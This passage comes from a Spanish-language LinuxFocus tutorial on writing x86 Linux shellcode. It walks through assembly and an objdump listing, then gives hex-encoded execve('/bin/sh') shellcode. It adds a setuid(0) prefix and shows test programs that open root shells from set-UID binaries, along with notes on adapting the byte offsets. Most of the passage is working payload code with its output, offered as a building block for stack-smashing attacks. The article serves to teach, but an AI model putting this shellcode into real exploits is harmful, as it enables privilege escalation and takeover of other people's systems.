        xorl %eax,%eax
        movl %eax,0xc(%esi)
    /* colocamos el byte null al final de la cadena */
        movb %eax,0x7(%esi)
    /* función execve() */
        movb $0xb,%al
    /* colocamos en %ebx la cadena que será ejecutada*/
        movl %esi, %ebx
    /* colocamos en %ecx el arreglo de argumentos*/
        leal 0x8(%esi),%ecx
    /* colocamos en %edx el ambiente del arreglo*/
        leal 0xc(%esi),%edx
    /* System-call */
        int  $0x80

    /* Null return code */
        xorl %ebx,%ebx
    /*  _exit() function : %eax = 1 */
        movl %ebx,%eax
        inc  %eax
    /* System-call */
        int  $0x80

subroutine_call:
        subroutine_call
        .string \"/bin/sh\"
      ");
}
El código se compila con "gcc -o shellcode4 shellcode4.c". La orden "objdump --disassemble shellcode4" asegura que nuestro binario no contiene mas bytes null :
08048398 <main>:
 8048398:   55                      pushl  %ebp
 8048399:   89 e5                   movl   %esp,%ebp
 804839b:   eb 1f                   jmp    80483bc 
<subroutine_call>

0804839d <subroutine>:
 804839d:   5e                      popl   %esi
 804839e:   89 76 08                movl   %esi,0x8(%esi)
 80483a1:   31 c0                   xorl   %eax,%eax
 80483a3:   89 46 0c                movb   %eax,0xc(%esi)
 80483a6:   88 46 07                movb   %al,0x7(%esi)
 80483a9:   b0 0b                   movb   $0xb,%al
 80483ab:   89 f3                   movl   %esi,%ebx
 80483ad:   8d 4e 08                leal   0x8(%esi),%ecx
 80483b0:   8d 56 0c                leal   0xc(%esi),%edx
 80483b3:   cd 80                   int    $0x80
 80483b5:   31 db                   xorl   %ebx,%ebx
 80483b7:   89 d8                   movl   %ebx,%eax
 80483b9:   40                      incl   %eax
 80483ba:   cd 80                   int    $0x80

080483bc <subroutine_call>:
 80483bc:   e8 dc ff ff ff          call   804839d <subroutine>
 80483c1:   2f                      das    
 80483c2:   62 69 6e                boundl 0x6e(%ecx),%ebp
 80483c5:   2f                      das    
 80483c6:   73 68                   jae    8048430 
<_IO_stdin_used+0x14>
 80483c8:   00 c9                   addb   %cl,%cl
 80483ca:   c3                      ret    
 80483cb:   90                      nop    
 80483cc:   90                      nop    
 80483cd:   90                      nop    
 80483ce:   90                      nop    
 80483cf:   90                      nop
Los datos encontrados después de la dirección 80483c1 no representan instrucciones, sino los caracteres de la cadena "/bin/sh"  (en  hexadécimal, la secuencia 2f 62 69 6e 2f 73 68 00) y bytes aleatorios. El código no contiene ceros, excepto el caracter null al final de la cadena en 80483c8.

Ahora, probemos nuestro programa :

$ ./shellcode4
Segmentation fault (core dumped)
$
Ooops! No muy concluyente. Si lo pensamos un poco, podemos ver que el área de memoria donde se encuentra la función main()  (i.e. el área text mencionada al comienzo de este artículo) es read-only. El código shell no puede modificarlo ¿Qué podemos hacer ahora para probar nuestro código shell?

Para salvar el problema read-only, debe colocarse el código shell en un área de datos. Pongámoslo en un arreglo declarado como una variable global. Debemos usar otro truco para poder ejecutar el código shell. Sustituyamos la dirección de regreso de la función  main() que se encuentra en la pila con la dirección del arreglo que contiene el código shell. No olvidemos que la función main es una rutina "standard", llamada por pedazos de código que el ligador agrega. La dirección de retorno se sobreescribe al escribir el arreglo de caracteres dos lugares mas abajo de la primera posición de la pila.

  /* shellcode5.c */
  
  char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;

      /* +2 se comportará como un offset de 2 words */
      /* (i.e. 8 bytes) en la cima de la pila : */
      /*   - el primero para la palabra reservada para 
             la variable local */
      /*   - el segundo para el registro guardado %ebp */

      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }
Ahora podemos probar nuestro código shell :
$ cc shellcode5.c -o shellcode5
$ ./shellcode5
bash$ exit
$
Incluso podemos instalar el programa  shellcode5 Set-UID root, y checar que el shell arrancado con la data manejada por este programa, se ejecuta bajo la identidad de root  :
$ su
Password:
# chown root.root shellcode5
# chmod +s shellcode5
# exit
$ ./shellcode5
bash# whoami
root
bash# exit
$
 

Generalización y últimos detalles

Este código shell esta algo limitado (bueno, ¡No es tan malo para tan pocos bytes!). Por ejemplo, si nuestro programa de prueba se convierte en :
  /* shellcode5bis.c */
  
 char shellcode[] =
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;
      seteuid(getuid());
      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }
arreglamos el proceso efectivo de UID a su valor real UID, como lo sugerimos en el artículo anterior. Esta vez, el shell se corre sin privilegios específicos :
$ su
Password:
# chown root.root shellcode5bis
# chmod +s shellcode5bis
# exit
$ ./shellcode5bis
bash# whoami
pappy
bash# exit
$
Sin embargo, las instrucciones seteuid(getuid()) no son una protección muy efectiva. Solamente se necesita insertar la llamada equivaente  setuid(0); al inicio del código shell para obtener los derechos ligados a una EUID inicial para una aplicación S-UID.

Este código de instrucción es :

  char setuid[] =
         "\x31\xc0"       /* xorl %eax, %eax */
         "\x31\xdb"       /* xorl %ebx, %ebx */
         "\xb0\x17"       /* movb $0x17, %al */
         "\xcd\x80";

Integrándolo al código shell anterior, el ejemplo se convierte en :
  /* shellcode6.c */
  
  char shellcode[] =
  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;
      seteuid(getuid());
      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }
Veamos cómo trabaja :
$ su
Password:
# chown root.root shellcode6
# chmod +s shellcode6
# exit
$ ./shellcode6
bash# whoami
root
bash# exit
$
Como se muestra en este ejemplo, es posible agregar funciones a un código shell, por ejemplo para dejar el directorio impuesto por la función chroot() o para abrir un shell remoto usando un socket.

Tales cambios parecen implicar que se puede adaptar el valor de algunos bytes en el código shell de acuerdo con su uso :
 
eb XX <subroutine_call> XX = número de bytes para alcanzar <subroutine_call>
<subroutine>:
5e popl %esi
89 76 XX movl %esi,XX(%esi) XX = posición del primer elemento en el arreglo de argumentos (i.e. la dirección de la orden). Este offset es igual al número de caracteres en la orden, incluido '\0'.
31 c0 xorl %eax,%eax
89 46 XX movb %eax,XX(%esi) XX = posición del segundo elemento en el arreglo , aquí, conteniendo un valor NULL.
88 46 XX movb %al,XX(%esi) XX = posición del final de la cadena '\0'.
b0 0b movb $0xb,%al
89 f3 movl %esi,%ebx
8d 4e XX leal XX(%esi),%ecx XX = offset para alcanzar el primer elemento en el arreglo de argumentos y ponerlo en el registro %ecx 
8d 56 XX leal XX(%esi),%edx XX = offset para alcanzar el segundo elemento en el arreglo de argumentosy ponerlo en el registro %edx 
cd 80 int $0x80
31 db xorl %ebx,%ebx
89 d8 movl %ebx,%eax
40 incl %eax
cd 80 int $0x80
<subroutine_call>:
e8 XX XX XX XX call <subroutine> estos 4 bytes corresponden al número de bytes para alcanzar<subroutine> (número negativo, escrito en  little endian)
 

Conclusión

Escribimos un programa de aproximadamente 40 bytes y permite correr cualquier orden externa como root. Nuestros últimos ejemplos muestran algunas ideas acerca de cómo hacer pedazos una pila. En el siguiente artículo habrán más detalles de este mecanismo ...  

Formulario de "talkback" para este artículo

Cada artículo tiene su propia página de "talkback". A través de esa página puedes enviar un comentario o consultar los comentarios de otros lectores
 Ir a la página de "talkback" 

Contactar con el equipo de LinuFocus
© Frédéric Raynal, Christophe Blaess, Christophe Grenier, FDL
LinuxFocus.org

Pinchar aquí para informar de algún problema o enviar comentarios a LinuxFocus
Información sobre la traducción:
fr --> -- : Frédéric Raynal, Christophe Blaess, Christophe Grenier <pappy(at)users.sourceforge.net, ccb(at)club-internet.fr, grenier(at)nef.esiea.fr>
fr --> en: Georges Tarbouriech <georges.t(at)linuxfocus.org>
en --> es: Victor Manuel Campos Campos <victor_inmx(at)yahoo.com.mx>

2002-07-24, generated by lfparser version 2.21